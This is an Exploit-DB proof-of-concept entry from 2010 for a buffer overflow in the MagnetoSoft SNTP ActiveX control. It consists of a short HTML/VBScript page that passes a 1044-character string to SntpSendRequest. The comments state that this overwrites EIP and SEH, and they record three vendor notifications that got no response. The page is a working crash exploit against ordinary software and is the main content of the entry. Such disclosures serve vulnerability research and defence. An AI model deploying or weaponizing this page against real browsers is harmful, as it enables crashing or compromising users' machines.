MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpSendRequest Crash (PoC)

EDB-ID:

12204

CVE:

N/A

Author:

s4squatch

Type:

dos

Platform:

Windows

Published:

2010-04-13

<html>
<object classid='clsid:A3010B66-C229-11D5-B7BA-00C0F02DFC67' id='target' /></object>
<script language='vbscript'>
'Magneto Software SNTP ActiveX SntpSendRequest BOF POC
'Discovered by:  s4squatch
'Site: www.securestate.com
'www:  http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download:  http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'File Name = SKSntp.ocx
'www:  http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download:  http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Function SntpSendRequest ( ByVal bstrSntpServer As String ,  ByVal bSynchronizeClock As Integer ) As Long
'memberName = "SntpSendRequest"
'progid     = "SKSNTPLib.SKSntp"

'1044 overwrites EIP, ESP, ECX, EBP, SEH

buff = String(1044, "A")

target.SntpSendRequest buff ,1

</script>